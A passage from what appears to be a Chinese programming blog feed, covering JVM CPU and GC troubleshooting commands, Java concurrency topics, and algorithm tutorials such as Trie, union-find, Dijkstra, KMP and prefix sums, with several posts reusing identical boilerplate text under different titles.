jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM 线上 CPU 飙高如何定位 Java 问题 //xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/ 线上 CPU 飙高如何定位 Java 问题

线上 CPU 飙高是典型的紧急问题。本文讲一套从定位到解决的排查流程。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM ClassLoader 双亲委派模型实践理解 //classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/ ClassLoader 双亲委派模型实践理解

双亲委派模型是 Java 类加载的核心。本文讲它的原理和实际应用。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM GC 日志怎么看才有用 //gc-ri-zhi-zen-me-kan-cai-you-yong/ GC 日志怎么看才有用

GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

核心要点

  1. 关注 Minor GC 和 Full GC 的频率和耗时

  2. 年轻代晋升到老年代的对象大小和频率

  3. GC 前后的内存使用变化

  4. 使用 jstat、jmap、jvisualvm 等工具辅助分析

总结

GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。

]]> JVM JAVA JVM JVM 内存区域从入门到排查 //jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/ JVM 内存区域从入门到排查

JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

核心要点

  1. 堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域

  2. 栈内存是线程私有的，每个线程都有自己的栈空间

  3. 方法区（元空间）存储类信息、常量池等

  4. 常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError

总结

理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。

]]> JVM JAVA JVM AQS 为什么是并发工具的基础 //aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/ AQS 为什么是并发工具的基础

在 Java 并发编程中，AQS（AbstractQueuedSynchronizer）是理解 ReentrantLock、Semaphore、CountDownLatch 等工具的关键。很多开发者每天在用这些并发工具，却未必清楚它们的底层实现都依赖同一个框架。本文从实际应用角度梳理 AQS 的核心思想，结合源码片段说明它是如何支撑各种同步器的。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. AQS 的核心是一个共享状态（state）加上一个双向链表，线程获取锁失败时会被包装成节点加入队列等待

  2. 独占模式和共享模式是 AQS 支持的两种基本模式，分别对应 ReentrantLock 和 Semaphore

  3. tryAcquire/tryRelease 等方法由子类实现，AQS 提供模板方法和队列管理

  4. ConditionObject 是 AQS 的内部类，实现了 Condition 接口，支持线程等待/通知

总结

理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。比如排查死锁、分析线程阻塞原因时，知道 AQS 的工作机制会非常有帮助。

]]> Java并发 JAVA 并发 CompletableFuture 编排异步任务 //completablefuture-bian-pai-yi-bu-ren-wu/ CompletableFuture 编排异步任务

CompletableFuture 让异步编程更优雅。本文讲它的核心能力和组合方式。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

]]> Java并发 JAVA 并发 ThreadLocal 的使用和内存泄漏问题 //threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/ ThreadLocal 的使用和内存泄漏问题

ThreadLocal 解决了什么问题、会引发什么问题，这是一个经典话题。很多人用 ThreadLocal 存储用户上下文，却忽略了内存泄漏的风险。本文从原理到内存泄漏的处理方式都覆盖到。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. ThreadLocal 为每个线程提供独立的变量副本

  2. 底层使用 ThreadLocalMap 存储，key 是弱引用

  3. 内存泄漏的原因：ThreadLocal 被回收，但 Entry 仍然引用着 value

  4. 解决方案：使用完毕后调用 remove() 方法

总结

ThreadLocal 是一个强大的工具，但需要谨慎使用。在实际项目中，结合 try-finally 块确保资源被正确清理，可以有效避免内存泄漏问题。

]]> Java并发 JAVA 并发 volatile 能保证什么不能保证什么 //volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/ volatile 能保证什么不能保证什么

volatile 和 synchronized 经常被拿来比较，但它们解决的问题不一样。很多人误以为 volatile 能保证原子性，其实它只能保证可见性和禁止指令重排。本文从内存模型角度说明 volatile 的作用和局限性。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. volatile 保证可见性：一个线程的修改对其他线程立即可见

  2. volatile 禁止指令重排：确保指令按照代码顺序执行

  3. volatile 不保证原子性：复合操作仍然需要同步

  4. volatile 适合作为状态标志，不适合作为计数器

总结

volatile 是一个轻量级的同步手段，适用于特定场景。在实际项目中，需要根据需求选择合适的同步方式，不要过度依赖 volatile。

]]> Java并发 JAVA 并发 算法面试常考题型总结 //algorithm-interview-summary/ 一、数组与矩阵

1.1 高频题型

题型例题技巧
两数之和Two Sum哈希表
区间合并Merge Intervals排序+遍历
旋转数组Search in Rotated Array二分查找
螺旋矩阵Spiral Matrix模拟边界
最大子数组Maximum Subarray动态规划/Kadane

1.2 解题套路

  • 排序：O(n log n) 预处理
  • 双指针：有序数组相关
  • 前缀和：子数组和问题

二、链表

2.1 高频题型

题型例题
反转链表Reverse Linked List
检测环Linked List Cycle
合并有序链表Merge Two Sorted Lists
重排链表Reorder List
K个一组反转Reverse Nodes in k-Group

2.2 解题套路

  • 快慢指针：环、中点
  • 虚拟头节点：统一操作
  • 递归：反转、合并

三、二叉树

3.1 高频题型

题型例题方法
遍历前中后序递归/迭代
层序遍历Binary Tree Level OrderBFS
最近公共祖先Lowest Common AncestorDFS
路径和Path SumDFS
序列化Serialize and Deserialize前序+递归

3.2 解题套路

  • 递归万能框架：前序/中序/后序位置
  • BFS：层相关、最短路径

四、动态规划

4.1 高频题型

题型状态定义转移方程
背包问题dp[i][j]选/不选
股票买卖每天状态状态机
最长公共子序列dp[i][j]相等/不相等
编辑距离dp[i][j]增删改
打家劫舍dp[i]偷/不偷

4.2 解题步骤

  1. 确定状态含义
  2. 推导转移方程
  3. 确定初始条件
  4. 确定遍历顺序
  5. 考虑空间优化

五、字符串

5.1 高频题型

题型技巧
字符串匹配KMP、Rabin-Karp
最长回文子串中心扩展、Manacher
单词拆分动态规划
异位词哈希表、字符计数

六、图

6.1 高频题型

题型算法
拓扑排序Kahn/DFS
最短路径Dijkstra/BFS
连通分量DFS/并查集
最小生成树Prim/Kruskal

七、系统设计中的算法

7.1 常见场景

  • 一致性哈希：环+虚拟节点
  • 布隆过滤器：位数组+多哈希
  • LRU缓存：HashMap + 双向链表
  • TopK：堆/快速选择

八、面试策略

8.1 沟通技巧

  1. 先理解题意，确认边界条件
  2. 说出暴力解法，再优化
  3. 写代码前先说明思路
  4. 主动分析复杂度

8.2 代码规范

  • 有意义的变量名
  • 处理边界条件
  • 写完简单测试

九、总结

算法面试的核心是思路清晰 + 代码正确。将题目按类型归类，总结每类的解题模板，遇到新题先归类再套用。持续练习是提升的唯一途径。

]]> 算法 总结 面试 算法 位运算的巧妙应用 //bit-manipulation-tricks/ 一、基本位运算
运算符说明示例
&与1 & 1 = 1
|或1 | 0 = 1
^异或1 ^ 1 = 0
~非~1 = 0
<<左移1 << 2 = 4
>>右移4 >> 1 = 2

二、常用技巧

2.1 判断奇偶

// 代替 n % 2 == 0
boolean isEven = (n & 1) == 0;

2.2 交换变量

a = a ^ b;
b = a ^ b;  // b = a ^ b ^ b = a
a = a ^ b;  // a = a ^ b ^ a = b

2.3 获取最低位1

int lowbit = x & (-x);
// 例: x = 10100, -x = 01100, lowbit = 00100 = 4

2.4 清除最低位1

x = x & (x - 1);
// 例: x = 10100, x-1 = 10011, x & (x-1) = 10000

2.5 判断是否为2的幂

boolean isPowerOfTwo = (n & (n - 1)) == 0 && n > 0;

三、经典问题

3.1 只出现一次的数

// 其他数出现两次，只有一个出现一次
public int singleNumber(int[] nums) {
    int res = 0;
    for (int num : nums) res ^= num;
    return res;
}

3.2 只出现一次的数 II

// 其他数出现三次
public int singleNumberII(int[] nums) {
    int ones = 0, twos = 0;
    for (int num : nums) {
        ones = (ones ^ num) & ~twos;
        twos = (twos ^ num) & ~ones;
    }
    return ones;
}

3.3 统计1的个数

public int hammingWeight(int n) {
    int count = 0;
    while (n != 0) {
        n &= n - 1;
        count++;
    }
    return count;
}

3.4 判断字符是否唯一

public boolean isUnique(String s) {
    int mask = 0;
    for (char c : s.toCharArray()) {
        int bit = 1 << (c - 'a');
        if ((mask & bit) != 0) return false;
        mask |= bit;
    }
    return true;
}

四、状态压缩DP

用二进制表示状态集合：

// n ≤ 20 时，可用int表示状态
int state = 0;  // 二进制第i位表示第i个元素是否选中
state |= (1 << i);  // 选中第i个
if ((state & (1 << i)) != 0)  // 判断是否选中

五、总结

位运算直接操作二进制位，效率极高。掌握常见技巧，可以在判断、统计、状态表示等场景中写出简洁高效的代码。

]]> 算法 算法 位运算 Trie树与字符串前缀 //trie-tree-prefix/ 一、Trie树概述

1.1 定义

Trie（前缀树/字典树）是一种树形数据结构，用于高效存储和检索字符串集合。

1.2 核心特性

  • 根节点表示空字符串
  • 每条边代表一个字符
  • 从根到节点的路径表示一个字符串前缀

二、节点结构

class TrieNode {
    TrieNode[] children;  // 26个小写字母
    boolean isEndOfWord;  // 是否为一个单词的结尾
    
    TrieNode() {
        children = new TrieNode[26];
        isEndOfWord = false;
    }
}

三、基本操作

3.1 插入

public void insert(String word) {
    TrieNode node = root;
    for (char c : word.toCharArray()) {
        int idx = c - 'a';
        if (node.children[idx] == null) {
            node.children[idx] = new TrieNode();
        }
        node = node.children[idx];
    }
    node.isEndOfWord = true;
}

时间复杂度：( O(m) )，( m ) = 单词长度

3.2 查找

public boolean search(String word) {
    TrieNode node = searchPrefix(word);
    return node != null && node.isEndOfWord;
}

public boolean startsWith(String prefix) {
    return searchPrefix(prefix) != null;
}

private TrieNode searchPrefix(String prefix) {
    TrieNode node = root;
    for (char c : prefix.toCharArray()) {
        int idx = c - 'a';
        if (node.children[idx] == null) return null;
        node = node.children[idx];
    }
    return node;
}

四、应用场景

4.1 自动补全

根据输入前缀，遍历子树收集所有单词。

4.2 最长公共前缀

public String longestCommonPrefix(String[] strs) {
    Trie trie = new Trie();
    for (String s : strs) trie.insert(s);
    return trie.findLongestPrefix();
}

4.3 单词搜索 II

在二维字符网格中查找所有单词，先用Trie存储单词列表，再DFS网格。

五、压缩Trie

5.1 radix tree / patricia trie

合并只有一个子节点的链，减少空间。

六、总结

操作时间空间
插入( O(m) )( O(m \cdot n) )
查找( O(m) )-
前缀匹配( O(m) )-

Trie树以空间换时间，特别适合前缀查询频繁的场景。理解其核心思想（边代表字符，路径代表字符串），可以灵活应用于各类字符串问题。

]]> 算法 算法 Trie 字符串 并查集与连通性问题 //union-find-disjoint-set/ 一、并查集概述

1.1 支持操作

  • Find：查找元素所属集合（根）
  • Union：合并两个集合

1.2 应用场景

  • 连通分量
  • 最小生成树(Kruskal)
  • 等价关系
  • 离线查询

二、基本实现

2.1 数组版

class UnionFind {
    int[] parent;
    int[] rank;  // 按秩合并
    int count;   // 连通分量数
    
    UnionFind(int n) {
        parent = new int[n];
        rank = new int[n];
        count = n;
        for (int i = 0; i < n; i++) parent[i] = i;
    }
    
    // 路径压缩
    int find(int x) {
        if (parent[x] != x) {
            parent[x] = find(parent[x]);  // 递归压缩
        }
        return parent[x];
    }
    
    // 按秩合并
    boolean union(int x, int y) {
        int px = find(x), py = find(y);
        if (px == py) return false;
        
        if (rank[px] < rank[py]) {
            parent[px] = py;
        } else if (rank[px] > rank[py]) {
            parent[py] = px;
        } else {
            parent[py] = px;
            rank[px]++;
        }
        count--;
        return true;
    }
    
    boolean connected(int x, int y) {
        return find(x) == find(y);
    }
}

三、复杂度分析

3.1 反阿克曼函数

经过路径压缩和按秩合并优化后，单次操作均摊复杂度为 ( O(\alpha(n)) )，其中 ( \alpha ) 是反阿克曼函数，增长极慢（实际中可视为常数）。

四、经典应用

4.1 省份数量

public int findCircleNum(int[][] isConnected) {
    int n = isConnected.length;
    UnionFind uf = new UnionFind(n);
    
    for (int i = 0; i < n; i++) {
        for (int j = i + 1; j < n; j++) {
            if (isConnected[i][j] == 1) uf.union(i, j);
        }
    }
    return uf.count;
}

4.2 冗余连接

public int[] findRedundantConnection(int[][] edges) {
    UnionFind uf = new UnionFind(edges.length + 1);
    for (int[] edge : edges) {
        if (!uf.union(edge[0], edge[1])) return edge;
    }
    return new int[0];
}

五、总结

并查集是处理动态连通性问题的高效数据结构。通过路径压缩和按秩合并，几乎达到常数时间复杂度。其核心思想是”代表元”：每个集合选一个根节点作为代表。

]]> 算法 算法 数据结构 并查集 拓扑排序与有向图 //topological-sort/ 一、拓扑排序

1.1 定义

对有向无环图(DAG)的顶点进行线性排序，使得对每条边 ((u, v))，u在v之前。

1.2 应用场景

  • 任务调度（先修课程）
  • 编译顺序
  • Makefile依赖
  • 数据处理流水线

二、Kahn算法（BFS）

2.1 核心思想

反复选择入度为0的顶点，移除其出边。

2.2 实现

public List<Integer> topologicalSort(int n, List<Integer>[] adj) {
    int[] inDegree = new int[n];
    for (List<Integer> edges : adj) {
        for (int v : edges) inDegree[v]++;
    }
    
    Queue<Integer> queue = new LinkedList<>();
    for (int i = 0; i < n; i++) {
        if (inDegree[i] == 0) queue.offer(i);
    }
    
    List<Integer> result = new ArrayList<>();
    while (!queue.isEmpty()) {
        int u = queue.poll();
        result.add(u);
        
        for (int v : adj[u]) {
            if (--inDegree[v] == 0) queue.offer(v);
        }
    }
    
    // 若结果顶点数 < n，说明有环
    return result.size() == n ? result : new ArrayList<>();
}

2.3 复杂度

( O(V + E) )

三、DFS实现

public List<Integer> topologicalSortDFS(int n, List<Integer>[] adj) {
    boolean[] visited = new boolean[n];
    boolean[] onStack = new boolean[n];
    Deque<Integer> stack = new ArrayDeque<>();
    
    for (int i = 0; i < n; i++) {
        if (!visited[i] && !dfs(i, adj, visited, onStack, stack)) {
            return new ArrayList<>();  // 有环
        }
    }
    
    List<Integer> result = new ArrayList<>();
    while (!stack.isEmpty()) result.add(stack.pop());
    return result;
}

boolean dfs(int u, List<Integer>[] adj, boolean[] visited, boolean[] onStack, Deque<Integer> stack) {
    visited[u] = true;
    onStack[u] = true;
    
    for (int v : adj[u]) {
        if (onStack[v]) return false;  // 有环
        if (!visited[v] && !dfs(v, adj, visited, onStack, stack)) return false;
    }
    
    onStack[u] = false;
    stack.push(u);
    return true;
}

四、环检测

拓扑排序可以检测有向图是否有环：

  • Kahn算法：结果顶点数 < 总顶点数
  • DFS：遇到回边（onStack中的节点）

五、总结

算法方式特点
KahnBFS直观，适合找所有拓扑序
DFS递归简洁，可顺便检测环

拓扑排序是处理依赖关系的有力工具。只要问题中存在”A必须在B之前”的约束，就可以考虑使用拓扑排序。

]]> 算法 算法 图 拓扑排序 最小生成树Prim与Kruskal //mst-prim-kruskal/ 一、最小生成树(MST)

1.1 定义

连通无向图中，连接所有顶点的边权和最小的树。

1.2 性质

  • 包含 ( V ) 个顶点和 ( V-1 ) 条边
  • 无环
  • 可能不唯一

1.3 切割定理

任取一个切割， crossing edge（横切边）中权值最小的边一定属于某棵MST。

二、Prim算法

2.1 核心思想

从某个顶点开始，逐步扩展树，每次添加连接树与非树顶点的最小权边。

2.2 实现（优先队列）

public int prim(List<int[]>[] adj) {
    int n = adj.length;
    boolean[] inMST = new boolean[n];
    PriorityQueue<int[]> pq = new PriorityQueue<>(Comparator.comparingInt(a -> a[1]));
    pq.offer(new int[]{0, 0});  // {vertex, weight}
    int totalWeight = 0;
    int edges = 0;
    
    while (!pq.isEmpty() && edges < n) {
        int[] curr = pq.poll();
        int u = curr[0], w = curr[1];
        
        if (inMST[u]) continue;
        inMST[u] = true;
        totalWeight += w;
        edges++;
        
        for (int[] edge : adj[u]) {
            int v = edge[0], weight = edge[1];
            if (!inMST[v]) {
                pq.offer(new int[]{v, weight});
            }
        }
    }
    return totalWeight;
}

2.3 复杂度

( O(E \log V) )

三、Kruskal算法

3.1 核心思想

按边权从小到大排序，依次选择不形成环的边，直到选出 ( V-1 ) 条。

3.2 并查集

class UnionFind {
    int[] parent;
    
    UnionFind(int n) {
        parent = new int[n];
        for (int i = 0; i < n; i++) parent[i] = i;
    }
    
    int find(int x) {
        if (parent[x] != x) parent[x] = find(parent[x]);
        return parent[x];
    }
    
    boolean union(int x, int y) {
        int px = find(x), py = find(y);
        if (px == py) return false;
        parent[px] = py;
        return true;
    }
}

3.3 实现

public int kruskal(int[][] edges, int n) {
    // edges: [u, v, weight]
    Arrays.sort(edges, Comparator.comparingInt(e -> e[2]));
    UnionFind uf = new UnionFind(n);
    int totalWeight = 0;
    int edgesUsed = 0;
    
    for (int[] edge : edges) {
        if (uf.union(edge[0], edge[1])) {
            totalWeight += edge[2];
            if (++edgesUsed == n - 1) break;
        }
    }
    return totalWeight;
}

3.4 复杂度

排序 ( O(E \log E) )，并查集 ( O(E \alpha(V)) )，总计 ( O(E \log E) )。

四、对比

特性PrimKruskal
贪心策略扩展顶点选最小边
数据结构优先队列并查集
适用稠密图稀疏图
时间( O(E \log V) )( O(E \log E) )

五、总结

Prim从顶点出发逐步扩展，适合稠密图。Kruskal从边出发，适合稀疏图。两者都基于切割定理的贪心策略，是图论中最重要的算法之一。

]]> 算法 算法 图 最小生成树 最短路径Dijkstra算法 //dijkstra-shortest-path/ 一、问题定义

1.1 单源最短路径

给定带权有向图 ( G=(V, E) ) 和源点 ( s )，求 ( s ) 到所有其他顶点的最短路径。

1.2 前提条件

  • 边权非负

二、核心思想

2.1 贪心策略

每次选择距离源点最近的未确定最短路径的顶点，其最短路径即确定。

2.2 松弛操作

if dist[u] + weight(u, v) < dist[v]:
    dist[v] = dist[u] + weight(u, v)

三、基本实现

3.1 邻接矩阵版 ( O(V^2) )

public int[] dijkstra(int[][] graph, int src) {
    int n = graph.length;
    int[] dist = new int[n];
    boolean[] visited = new boolean[n];
    Arrays.fill(dist, Integer.MAX_VALUE);
    dist[src] = 0;
    
    for (int i = 0; i < n - 1; i++) {
        int u = -1;
        for (int j = 0; j < n; j++) {
            if (!visited[j] && (u == -1 || dist[j] < dist[u])) {
                u = j;
            }
        }
        visited[u] = true;
        
        for (int v = 0; v < n; v++) {
            if (!visited[v] && graph[u][v] != 0 && dist[u] != Integer.MAX_VALUE) {
                dist[v] = Math.min(dist[v], dist[u] + graph[u][v]);
            }
        }
    }
    return dist;
}

3.2 优先队列优化 ( O((V+E)\log V) )

public int[] dijkstraPQ(List<int[]>[] adj, int src) {
    int n = adj.length;
    int[] dist = new int[n];
    Arrays.fill(dist, Integer.MAX_VALUE);
    dist[src] = 0;
    
    PriorityQueue<int[]> pq = new PriorityQueue<>(Comparator.comparingInt(a -> a[1]));
    pq.offer(new int[]{src, 0});
    
    while (!pq.isEmpty()) {
        int[] curr = pq.poll();
        int u = curr[0], d = curr[1];
        
        if (d > dist[u]) continue;  // 已处理过更短路径
        
        for (int[] edge : adj[u]) {
            int v = edge[0], w = edge[1];
            if (dist[u] + w < dist[v]) {
                dist[v] = dist[u] + w;
                pq.offer(new int[]{v, dist[v]});
            }
        }
    }
    return dist;
}

四、正确性证明

4.1 归纳法

归纳假设：已确定集合S中的顶点，其dist值已是最短路径。

归纳步骤：选择S外dist最小的顶点u，假设存在更短路径经过S外顶点x，则dist[x] < dist[u]，与u的选择矛盾。

五、对比

算法适用时间复杂度特点
Dijkstra非负权图( O((V+E)\log V) )单源，贪心
Bellman-Ford含负权( O(VE) )可检测负环
Floyd所有点对( O(V^3) )动态规划
SPFA含负权平均快，最坏 ( O(VE) )Bellman-Ford优化

六、总结

Dijkstra算法是求解非负权图单源最短路径的经典算法。其核心是贪心选择 + 松弛操作。优先队列优化后，在稀疏图上效率很高，是实际应用中最常用的最短路径算法。

]]> 算法 算法 图 最短路径 字符串匹配KMP算法 //kmp-string-matching/ 一、字符串匹配问题

1.1 问题定义

在文本串 text 中查找模式串 pattern 的出现位置。

1.2 暴力解法

public int bruteForce(String text, String pattern) {
    for (int i = 0; i <= text.length() - pattern.length(); i++) {
        int j = 0;
        while (j < pattern.length() && text.charAt(i + j) == pattern.charAt(j)) {
            j++;
        }
        if (j == pattern.length()) return i;
    }
    return -1;
}

时间复杂度：( O(mn) )

二、KMP核心思想

2.1 观察

当匹配失败时，模式串中已匹配的部分可能包含相同的前缀和后缀，可以直接利用这部分信息，避免文本串指针回溯。

2.2 示例

text:    a b a b a b c a
pattern: a b a b c
              ↑
            失配于第5位

已匹配: a b a b
最长相同前缀后缀: a b
可以直接将pattern移动到：
text:    a b a b a b c a
pattern:     a b a b c

三、next数组（前缀函数）

3.1 定义

next[i] 表示 pattern[0..i] 中最长的相等前缀后缀的长度。

3.2 构建

public int[] buildNext(String pattern) {
    int n = pattern.length();
    int[] next = new int[n];
    int j = 0;  // 前缀末尾
    
    for (int i = 1; i < n; i++) {
        while (j > 0 && pattern.charAt(i) != pattern.charAt(j)) {
            j = next[j - 1];  // 回退
        }
        if (pattern.charAt(i) == pattern.charAt(j)) {
            j++;
        }
        next[i] = j;
    }
    return next;
}

3.3 示例

pattern: a b a b c a
next:    0 0 1 2 0 1

解释:
"a"      -> 0
"ab"     -> 0
"aba"    -> 1 ("a")
"abab"   -> 2 ("ab")
"ababc"  -> 0
"ababca" -> 1 ("a")

四、KMP匹配

public int kmp(String text, String pattern) {
    if (pattern.isEmpty()) return 0;
    int[] next = buildNext(pattern);
    
    int j = 0;
    for (int i = 0; i < text.length(); i++) {
        while (j > 0 && text.charAt(i) != pattern.charAt(j)) {
            j = next[j - 1];
        }
        if (text.charAt(i) == pattern.charAt(j)) {
            j++;
        }
        if (j == pattern.length()) {
            return i - pattern.length() + 1;
        }
    }
    return -1;
}

五、复杂度分析

步骤时间空间
构建next数组( O(m) )( O(m) )
匹配( O(n) )( O(1) )
总计( O(m + n) )( O(m) )

六、总结

KMP算法的精髓在于利用已匹配信息，通过next数组记录模式串自身的结构特征，避免文本串指针的回溯。理解next数组的构建过程，是掌握KMP的关键。

]]> 算法 算法 字符串 KMP 前缀和与差分数组 //prefix-sum-difference-array/ 一、前缀和

1.1 定义

前缀和数组 prefix[i] 表示原数组从0到i的元素之和。

原数组: [1, 2, 3, 4, 5]
前缀和: [1, 3, 6, 10, 15]

1.2 构建

int[] prefix = new int[n + 1];
for (int i = 0; i < n; i++) {
    prefix[i + 1] = prefix[i] + nums[i];
}

1.3 区间查询

// 查询[left, right]的和
int query(int left, int right) {
    return prefix[right + 1] - prefix[left];
}

时间复杂度：( O(1) )

1.4 二维前缀和

int[][] prefix = new int[m + 1][n + 1];
for (int i = 1; i <= m; i++) {
    for (int j = 1; j <= n; j++) {
        prefix[i][j] = matrix[i-1][j-1] 
                     + prefix[i-1][j] 
                     + prefix[i][j-1] 
                     - prefix[i-1][j-1];
    }
}

// 查询矩形区域和
int query(int r1, int c1, int r2, int c2) {
    return prefix[r2+1][c2+1] - prefix[r1][c2+1] 
         - prefix[r2+1][c1] + prefix[r1][c1];
}

二、差分数组

2.1 定义

差分数组 diff[i] 表示原数组第i个元素与第i-1个元素的差。

原数组: [1, 3, 6, 10, 15]
差分数组: [1, 2, 3, 4, 5]

2.2 构建

int[] diff = new int[n];
diff[0] = nums[0];
for (int i = 1; i < n; i++) {
    diff[i] = nums[i] - nums[i - 1];
}

2.3 区间更新

对 [left, right] 区间加 val：

diff[left] += val;
if (right + 1 < n) diff[right + 1] -= val;

时间复杂度：( O(1) )

2.4 还原原数组

int[] res = new int[n];
res[0] = diff[0];
for (int i = 1; i < n; i++) {
